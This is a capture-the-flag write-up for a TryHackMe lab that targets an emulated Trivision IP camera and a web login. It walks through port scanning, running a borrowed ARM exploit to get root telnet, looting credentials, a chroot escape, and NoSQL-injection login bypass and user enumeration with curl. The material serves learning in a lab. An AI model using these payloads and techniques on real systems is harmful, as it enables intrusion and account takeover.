Information
Room#
- Name: Snowy ARMageddon
- Profile: tryhackme.com
- Difficulty: Insane
- Description: Assist the Yeti in breaching the cyber police perimeter!
This is the Side Quest Challenge 2 of Advent of Cyber '23 Side Quest (advanced bonus challenges alongside Advent of Cyber 2023).
Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
1 | $ sudo pacman -S nmap nmap-parse-output ffuf perl inetutils |
Challenge#
Network enumeration#
Scan network ports and services with nmap:
1 | ➜ sudo nmap -sSVC 10.10.157.185 -T4 -p- -v --open --reason -oA nmap |
Web enumeration#
At http://10.10.157.185:8080/, only an error page without information is available. We may need to look for other directories and files at the root of the web server.
There is a demo page displaying ErrorDocument 403 /var/www/html/403.html
and not so many other files.
1 | ➜ ffuf -u http://10.10.157.185:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt |
Unintendedly exposed?
There is another website on port 50628, but the port closed when scanned with nmap
(too quickly?).
http://10.10.157.185:50628/en/login.asp
It sounds like an administration page to monitor and configure a camera.
- Software brand: Trivision
- Camera: NC-227WF HD 720P
The page linked are authenticated and some basic credentials won't work. So let's see if there are some known vulnerabilities on this software.
OSINT#
Let's search for exploit trivision camera
:
- no-sec.net - ARM-X Challenge: Breaking the webs: CTF write-up about reverse engineering on ARM IoT devices having IP cameras, an example PoC is given
- Github repo - Exploiting-Trivision-NC-227WF-IP-Camera: some new repo directly related to this THM challenge spoiling some stuff
- armx.exploitlab.net - Debugging With ARM-X
Reverse engineering (skipping)#
I'm clueless when it comes to reverse engineering, and I'm not interested into that part. So rather than trying to play with assembly to modify the shell code (transform my IP address and port into ARM ASM) I'll rather read another write-up solution and copy a ready-to-go PoC for that part:
- WU n°1: perl script, doesn't require getting a reverse shell or something, will just enable login over telnet without credentials.
- WU n°2: python script doing the same
1 | ➜ perl exploit.pl| ncat 10.10.157.185 50628 |
System enumeration#
We are root on a minimal busybox without many commands installed.
find
is not available, so we'll have to rely on ls
.
/home/web
is the root of the web server/etc/webs/
stores some config for the web server
1 | # ls -lh /etc/webs/ |
We found the administrator user credentials for the web app on the configuration file.
First flag#
Now we can go back on the web login page and authenticate with the looted credentials.
There is a flag on the home page (http://10.10.157.185:50628/en/player/mjpeg_vga.asp).
Pivoting (tentative)#
It looks like from the machine we have another behavior on the web server on port 8080, it's asking for credentials instead of just having a HTTP 403.
1 | # curl http://10.10.157.185:8080/ |
Browsing with curl is not handy, and there is no tool from the busybox that can be used for pivoting, so let's upload a static binary on it. But first let's check the architecture:
1 | # cat /proc/cpuinfo |
We have some ARM v5.
And that's great that chisel pre-compiled binaries are available for many architectures including ARM v5.
1 | # Download chisel pre-compiled binary for ARM v5 |
From the camera host:
1 | # cd /tmp/ |
Unfortunately this build was crashing on the server.
Chroot escape#
Before finding an alternative, let's remember we are in a chroot:
1 | # ps |
We can escape from chroot:
1 | # /proc/1/root/usr/sbin/chroot |
We were previously trapped in /emux/TRI227WF/rootfs
.
We have now access to binaries that could help for pivoting like dropbear
(SSH server) or socat
(socket utility with proxy support).
1 | ~ # dropbear -V |
Note: no need for uploading static binary because after escaping the chroot you can use the host socat, but for what we have to do we don't even need socat, curl is enough and curl is available from the chroot, so we didn't even need to escape.
NoSQLi#
So as we saw with the HTTP 401, http://10.10.157.185:8080/ is asking for credentials. Let's re-use the ones we found earlier.
With credentials, basic authentication worked, but we are now redirected to /login.php
. -u
ignore provides the credentials for authentication, --basic
is the authentication method by default so no need to provide it, -I
to show the response headers instead of the body.
1 | # curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/ -I |
Let's add -L
to follow redirections.
1 | curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/ -L |
We have a login form. Let's try to perform a POST request to authenticate.
1 | # curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -L -X POST -d 'username=admin&password=admin' |
We can see tehre is an error message Invalid username or password
, let's try the same admin credentials.
1 | # curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -L -X POST -d 'username=admin&password=Y3tiStarCur%21ouspassword%3Dadmin' |
Same. Let's try some injections then.
Trying a single quote for SQL injection ('username=admin&password=%27'
) gives the same result.
Trying a NoSQL injection paylod using [$ne]
shows a redirection like if the authentication was a success. -D
is for displaying the headers to a file, -D -
to display them to STDOUT. -o
is for saving the output to a file, -o /dev/null
to hide the output (body) so we can see only the headers.
1 | # curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -X POST -d 'username[$ne]=noraj&password[$ne]=noraj' -D - -o /dev/null |
If we are redirected, we will need to store cookies somewhere, else we won't be authenticated on next request and will be redirected to the login page again.
For that we can use -c
to store cookies to a file and get session persistence.
1 | # curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -X POST -d 'username[$ne]=noraj&password[$ne]=noraj' -L -c /tmp/cookies | grep -E 'title|h1' |
But nothing interesting in the response when connected as Frostbite
. Maybe we need to get another user. admin
doesn't sound to exist. If we weren't lazy enough to use socat
to get a proxy, we could have used a blind NoSQLi extraction script using [$regex]
to get the username and even the password. But we're to lazy right? 😏 And (some of) lazy persons tend to be the smartest engineers. In the end, you have to get nice idea and efficient solutions in order to save you efforts. So let's keep with curl (and bash).
1st solution to enumerate users (less reliable)#
One way would be to take a list of common users on TryHackMe Advent of Cyber and make a short bash loop.
Common AoC users:
1 | BanditYeti |
Proper script template:
1 | users=("BanditYeti" "Santa" "McGreedy" "McSkidy" "Frosteau" "McHoneyBell") |
Shorter script tempalte:
1 | for user in BanditYeti Santa McGreedy McSkidy Frosteau McHoneyBell |
One-line script template:
1 | for user in BanditYeti Santa McGreedy McSkidy Frosteau McHoneyBell; do echo $user; done |
Final script with real payload:
1 | for user in BanditYeti Santa McGreedy McSkidy Frosteau McHoneyBell; do curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -X POST -d "username=$user&password[\$ne]=noraj" -L -c /tmp/cookies | grep -oE 'Welcome (.+)!' ; done |
Output:
1 | Welcome Frosteau! |
So the only valid user is Frosteau
.
2nd solution to enumerate users (more reliable)#
It's still a bit of effort to write bash. And more seriously we got lucky the username was in our list. So let's find something more reliable (and smarter / more elegant).
We can use NoSQL $nin
operator (not in) to exclude some results (the ones we already found and that are giving nothing).
1 | # curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -X POST -d 'username[$nin][]=Frostbite&password[$ne]=noraj' -L -c /tmp/cookies | grep -oE 'Welcome (.+)!' |
Let's keep adding to the list:
1 | # curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -X POST -d 'username[$nin][]=Frostbite&username[$nin][]=Snowballer&password[$ne]=noraj' -L -c /tmp/cookies | grep -oE 'Welcome (.+)!' |
Let's enhance this to build the payload dynamically as it can keep going long (we lost, we'll write bash).
1 | payload="username[%24nin][]=Frostbite" |
Replace $
with %24
(url-encoded) so we don't have to deal with shell escaping. The shell is old, in newer bash (4.4+) we could use ${payload@Q}
syntax instead, allowing escaping so $nin
doesn't get interpreted.
So the full list of users is:
1 | Frostbite |
Let's see a size difference in response ouput: (yeah still bash now tha twe are used to it)
1 | for user in Frostbite Snowballer Slushinski Blizzardson Tinseltooth Snowbacca Grinchowski Scroogestein Sleighburn Northpolinsky Frostington Tinselova Frostova Iciclevich Frostopoulos Grinchenko Snownandez Frosteau |
Output:
1 | 3512 |
Second flag#
So Frosteau
get a way larger response, let's see what is displayed for this user.
1 | # curl -s -u 'admin:Y3tiStarCur!ouspassword=admin' http://10.10.157.185:8080/login.php -X POST -d "username=Frosteau&password[\$ne]=noraj" -L -c /tmp/cookies | grep -oE '<li .+>(.+)</li>' |
Conclusion#
In the end, it may have been quicker and less painful to use socat
, but at least, this way we learned a bit of bash
-fu and curl
-fu.